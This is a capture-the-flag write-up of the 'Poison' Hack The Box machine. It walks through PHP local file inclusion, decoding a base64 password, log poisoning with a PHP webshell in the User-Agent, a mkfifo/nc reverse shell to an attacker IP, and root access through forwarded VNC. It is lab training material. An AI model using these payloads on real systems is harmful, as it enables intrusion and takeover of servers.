Poison

Reconnaissance:

NMAP:

┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.84

22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).

TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/3%OT=22%CT=1%CU=38486%PV=Y%DS=2%DC=I%G=Y%TM=65962
OS:47D%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10E%TI=Z%CI=Z%II=RI%TS=22
OS:)SEQ(SP=105%GCD=1%ISR=10A%TI=Z%CI=Z%II=RI%TS=21)SEQ(SP=106%GCD=1%ISR=10A
OS:%TI=Z%CI=Z%II=RI%TS=22)SEQ(SP=107%GCD=1%ISR=108%TI=Z%CI=Z%II=RI%TS=21)SE
OS:Q(SP=FD%GCD=1%ISR=104%TI=Z%CI=Z%II=RI%TS=21)OPS(O1=M53ANW6ST11%O2=M53ANW
OS:6ST11%O3=M280NW6NNT11%O4=M53ANW6ST11%O5=M218NW6ST11%O6=M109ST11)WIN(W1=F
OS:FFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)ECN(R=Y%DF=Y%T=40%W=FFFF%O=M
OS:53ANW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=Y%D
OS:F=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M109NW6ST11%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0
OS:%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6
OS:(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=38%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G
OS:%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)

Network Distance: 2 hops
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.84

514/udp open|filtered syslog
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: FreeBSD 11.X|12.X

OS CPE: cpe:/o:freebsd:freebsd:11 cpe:/o:freebsd:freebsd:12
OS details: FreeBSD 11.0-RELEASE - 12.0-CURRENT, FreeBSD 11.0-STABLE, FreeBSD 11.1-RELEASE, FreeBSD 11.1-RELEASE or 11.2-STABLE, FreeBSD 11.1-STABLE, FreeBSD 11.2-RELEASE - 11.3 RELEASE or 11.2-STABLE, FreeBSD 11.3-RELEASE
Network Distance: 2 hops
┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -p- 10.10.10.84

Enumeration: HTTP TCP Port 80

http://10.10.10.84/

Temporary website to test local .php scripts.

Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php

It’s a simple website that takes in a script name and executes it. We’re given a list of scripts to test, so let’s test them one by one. The ini.php & info.php scripts don’t give us anything useful. The phpinfo.php script gives us a wealth of information on the PHP server configuration. The listfiles.php script gives us the following output.

Array
(
    [0] => .
    [1] => ..
    [2] => browse.php
    [3] => index.php
    [4] => info.php
    [5] => ini.php
    [6] => listfiles.php
    [7] => phpinfo.php
    [8] => pwdbackup.txt
)

phpinfo.php

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5] => ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt ) 

info.php

Warning: include( info.php): failed to open stream: No such file or directory in /usr/local/www/apache24/data/browse.php on line 2

pwdbackup.txt

This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo= 

Based on the output, we can deduce that the application is not validating user input and therefore is vulnerable to local file inclusion (LFI). Based on the comment, this file includes a password that is encoded. Before we go down the route of decoding the password and trying to SSH into an account using it, let’s see if we can turn the LFI into a remote file inclusion (RFI).

RFI TESTING

There are several methods we can try.

PHP http:// Wrapper The PHP http wrapper allows you to access URLs. The syntax of the exploit is:

http://path-to-remote-file

Start a simple python server.

┌──(kali💀kali)-[~/Desktop]
└─$ python -m SimpleHTTPServer 5555

Attempt to run a file hosted on the server.

http://10.10.10.84/browse.php?file=pwdbackup.txt
GET /browse.php?file=http://10.10.16.4:5555/bla HTTP/1.1

We get an error informing us that the http:// wrapper is disabled. Similarly, we can try ftp:// but that is also disabled.

PHP expect:// Wrapper The PHP expect wrapper allows you to run system commands. The syntax of the exploit is This functionality is not enabled by default so let’s check if our application has it enabled. Intercept the request using Burp and attempt to run the ‘id’ command.

expect://id GET /browse.php?file=expect://id HTTP/1.1

We get an error informing us that the PHP expect wrapper is not configured.

PHP input:// Wrapper The input:// wrapper allows you to read raw data from the request body. Therefore, you can use it to send a payload via POST request. The syntax for the request would be:

php://input&cmd=<?php echo shell_exec($GET['cmd']); ?>

This doesn’t work for our request, but I thought it was worth mentioning. There are several other techniques you can try that are not mentioned in this blog. However, I’m confident that the application is not vulnerable to RFI so I’m going to move on.

One useful technique you should know is how to view the source code of files using the filter:// wrapper.

PHP filter:// Wrapper When a file such as index.php is executed, the page only show the output of the script. To view the source code, you can use the filter:// wrapper.

php://filter/convert.base64-encode/resource=ini.php
GET /browse.php?file=php://filter/convert.base64-encode/resource=ini.php HTTP/1.1
HTTP/1.1 200 OK
Date: Thu, 04 Jan 2024 10:30:46 GMT
Server: Apache/2.4.29 (FreeBSD) PHP/5.6.32
X-Powered-By: PHP/5.6.32
Content-Length: 44
Connection: close
Content-Type: text/html; charset=UTF-8

PD9waHAKcHJpbnRfcihpbmlfZ2V0X2FsbCgpKTsKPz4K

This gives you a base64 encoded version of the source code. Decode the string.

┌──(kali💀kali)-[~]
└─$ echo "PD9waHAKcHJpbnRfcihpbmlfZ2V0X2FsbCgpKTsKPz4K" | base64 --decode
<?php
print_r(ini_get_all());
?>

We diverged a little bit from solving this machine, the conclusion of all the above testing is that it is not vulnerable to an RFI. So let’s move on to gaining an initial foothold on the system.

Foothold

Gaining an initial foothold can be done in three ways.

  • Decode the pwdbackup.txt file and use the decoded password to SSH into a user’s account.

  • Race condition exploit in phpinfo.php file that turns the LFI to an RCE.

  • Log poisoning exploit that turns the LFI to an RCE.

I initially got access to the machine using method 1 and then exploited methods 2 & 3 after watching

Exploit 1: pwdbackup.txt

The output of the pwdbackup.txt file gives us a hint that the password is encoded at least 13 times, so let’s write a simple bash script to decode it.

It’s clearly base64 encoded, so let’s decode it:

┌──(kali💀kali)-[~/Desktop]
└─$ data=$(cat pwd.b64); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data
Charix!2#4%6&8(0

Local File Include (LFI): Entering those php scripts into the bar does run them, but there’s also an obvious local file include that allows any site visitor to grab any file they want:

view-source:http://10.10.10.84/browse.php?file=%2Fetc%2Fpasswd
# $FreeBSD: releng/11.1/etc/master.passwd 299365 2016-05-10 12:47:36Z bcr $
#
root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
unbound:*:59:59:Unbound DNS Resolver:/var/unbound:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
_dhcp:*:65:65:dhcp programs:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
auditdistd:*:78:77:Auditdistd unprivileged user:/var/empty:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
_ypldap:*:160:160:YP LDAP unprivileged user:/var/empty:/usr/sbin/nologin
hast:*:845:845:HAST unprivileged user:/var/empty:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
_tss:*:601:601:TrouSerS user:/var/empty:/usr/sbin/nologin
messagebus:*:556:556:D-BUS Daemon User:/nonexistent:/usr/sbin/nologin
avahi:*:558:558:Avahi Daemon User:/nonexistent:/usr/sbin/nologin
cups:*:193:193:Cups Owner:/nonexistent:/usr/sbin/nologin
charix:*:1001:1001:charix:/home/charix:/bin/csh

root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
charix:*:1001:1001:charix:/home/charix:/bin/csh

With a user name charix here, we could go directly to shell.

┌──(kali💀kali)-[~/Desktop]
└─$ ssh charix@10.10.10.84 
Charix!2#4%6&8(0

charix@Poison:~ % cat /home/charix/user.txt
eaac-----------------------------

Exploit 2: phpinfo.php Race Condition

Race condition that can turn an LFI vulnerability to a remote code execution (RCE) vulnerability. The following server side components are required to satisfy this exploitable condition:

  1. An LFI vulnerability

  2. Any script that displays the output of the PHPInfo() configuration

As we saw in the enumeration phase, the Poison htb server satisfies both conditions. Therefore, let’s download the script and modify it to fit our needs.

First, change the payload to include the following reverse shell available on kali by default.

/usr/share/laudanum/php/php-reverse-shell.php

Make sure to edit the IP address and port. Next, change the LFIREQ parameter to the one in our application.

LFIREQ="""GET /browse.php?file=%s

You’ll also have to change all the “=>” to “=&gt” so that the script compiles properly.

That’s it for modifying the script. Now, set up a listener to receive the shell.

nc -nlvp 1234

Run the script.

python phpinfolfi.py 10.10.10.84 80

We get a shell!

Exploit 3: Log Poisoning

The phpinfo (which is easy to get from http://10.10.10.84/browse.php?file=phpinfo.php) does show that allow_url_include is off, which eliminates direct RFI.

This was probably the intended way of solving the machine considering that the box is called “Poison”. Log Poisoning is a common technique used to gain RCE from an LFI vulnerability. The way it works is that the attacker attempts to inject malicious input to the server log. Then using the LFI vulnerability, the attacker calls the server log thereby executing the injected malicious code.

So the first thing we need to do is find the log file being used on the server. A quick google search tells us that freebsd saves the log file in the following location.

/var/log/httpd-access.log

A sample entry in the access log is:

10.10.14.12 - - [05/Jan/2020:06:20:15 +0100] "GET /browse.php?file=php://filter/convert.base64-encode/resource=ini.php HTTP/1.1" 200 44 "http://10.10.10.84/" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"

We’ll modify our user-agent using burp to add a webshell. I always like to add a marker here (like “0xdf:”), so that as the log file grows, we can easily locate our output, either with ctrl-f, or using curl and grep.

GET / HTTP/1.1
Host: 10.10.10.84
User-Agent: 0xdf: <?php system($_GET['c']); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Notice that the user agent “Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0” is being logged. Since the user agent is something that is completely in our control, we can simply change it to send a reverse shell back to our machine.

Intercept the request in Burp and change the user agent to the reverse shell from

<?php exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.4 6666 >/tmp/f') ?>

Set up a listener to receive the reverse shell.

nc -nlvp 6666

Execute the request in Burp so that the PHP code is saved in the log file. Using the LFI vulnerability call the log file which in turn should execute the reverse shell.

http://10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log

Then visit:

http://10.10.10.84/browse.php?file=/var/log/httpd-access.log&c=id

We get a shell!

Privesc: charix –> root

Since the machine is running a freeBSD OS, the LinEnum script won’t work on it. So we’ll have to resort to manual means of enumeration. If you list the files in Charix’s home directory, you’ll find a secret.zip file.

charix@Poison:~ % ls -l
total 8
-rw-r-----  1 root  charix  166 Mar 19  2018 secret.zip
-rw-r-----  1 root  charix   33 Mar 19  2018 user.txt

If you try to decompress the file, it will ask for a password. Let’s first transfer the file to our attack machine.

┌──(kali💀kali)-[~/Desktop]
└─$ scp charix@10.10.10.84:/home/charix/secret.zip .
(charix@10.10.10.84) Password for charix@Poison: Charix!2#4%6&8(0
secret.zip  

Try to decompress the file using Charix’s SSH password. Most user’s reuse passwords.

┌──(kali💀kali)-[~/Desktop]
└─$ unzip secret.zip
Archive:  secret.zip
[secret.zip] secret password: Charix!2#4%6&8(0
 extracting: secret  

It works! Check the file type.

┌──(kali💀kali)-[~/Desktop]
└─$ file secret
secret: Non-ISO extended-ASCII text, with no line terminators

The file seems to be encoded. Before we go down the route of figuring out what type of encoding is being used, let’s park this for now and do more enumeration. In the target machine, run the ps command to see which processes are running.

ps -aux

There’s a VNC process being run as root.

root    529   0.0  0.7  23620 7432 v0- I    Fri23      0:00.04 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1

Let’s view the entire process information.

┌──(kali💀kali)-[~/Desktop]
└─$ ps -auxww | grep vnc
kali      364001  0.0  0.1   6344  2176 pts/4    S+   10:26   0:00 grep --color=auto vnc

VNC is a remote access software. The -rfbport flag tells us that it’s listening on port 5901 on localhost. We can verify that using the netstat command:

┌──(kali💀kali)-[~/Desktop]
└─$ netstat -an | grep LIST
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:5555            0.0.0.0:*               LISTEN     
tcp6       0      0 127.0.0.1:43003         :::*                    LISTEN     
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN     
tcp6       0      0 ::1:5000                :::*                    LISTEN 

Since VNC is a graphical user interface software, we can’t access it through our target machine. We need port forwarding.

# ssh -L [local-port]:[remote-ip]:[remote-port]
┌──(kali💀kali)-[~]
└─$ ssh -L 5000:127.0.0.1:5901 charix@10.10.10.84
Charix!2#4%6&8(0

The above command allocates a socket to listen to port 5000 on localhost from my attack machine (kali). Whenever a connection is made to port 5000, the connection is forwarded over a secure channel and is made to port 5901 on localhost on the target machine (poison).

We can verify that the command worked using netstat.

┌──(kali💀kali)-[~]
└─$ netstat -an | grep LIST
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     
tcp6       0      0 127.0.0.1:43003         :::*                    LISTEN     
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN     
tcp6       0      0 ::1:5000                :::*                    LISTEN 

Now that port forwarding is set, let’s connect to VNC on the attack machine.

┌──(kali💀kali)-[~]
└─$ vncviewer 127.0.0.1:5000

I tried Charix’s password but that didn’t work. I then googled “vnc password” and found the following description on the man page.

When setting a VNC password, the password is obfuscated and saved as a file on the server. Instead of directly entering the password, the obfuscated password file can be included using the passwd option. Earlier in this blog we found a secret file that we didn’t know where to use. So let’s see if it’s the obfuscated password file we’re looking for.

┌──(kali💀kali)-[~]
└─$ tail /etc/proxychains.conf
#
#       proxy types: http, socks4, socks5
#        ( auth types supported: "basic"-http  "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4  127.0.0.1 9050
┌──(kali💀kali)-[~]
└─$ ssh charix@10.10.10.84 -D 9050
(charix@10.10.10.84) Password for charix@Poison:
┌──(kali💀kali)-[~]
└─$ vncviewer 127.0.0.1:5000 -passwd secret
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Cannot read valid password from file "secret"
┌──(kali💀kali)-[~/Desktop]
└─$ python vncpasswd.py -d -f secret 

-d: decrypt -f: file

We get the following output showing us the plaintext password is VNCP@$$!

Cannot read from Windows Registry on a Linux system
Cannot write to Windows Registry on a Linux system
Decrypted Bin Pass= 'VNCP@$$!'
Decrypted Hex Pass= '564e435040242421'

Now that we know the password, we could directly log into VNC using the plaintext password instead of the obfuscated password file.

┌──(kali💀kali)-[~]
└─$ vncviewer 127.0.0.1:5000                 
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
Performing standard VNC authentication
Password: VNCP@$$!
Authentication successful
Desktop name "root's X desktop (Poison:1)"
VNC server default format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor.  Pixel format:
  32 bits per pixel.
  Least significant byte first in each pixel.
  True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
root@poision:~ # whoami
root
root@poision:~ # cat /root/root.txt
716d---------------------------

VNC was running with root privileges so we can view the root.txt file. Before we end this blog, let’s check if there is any online tools that decode the obfuscated password file. Since it’s not encrypted, we should be able to reverse it without a password.

Last updated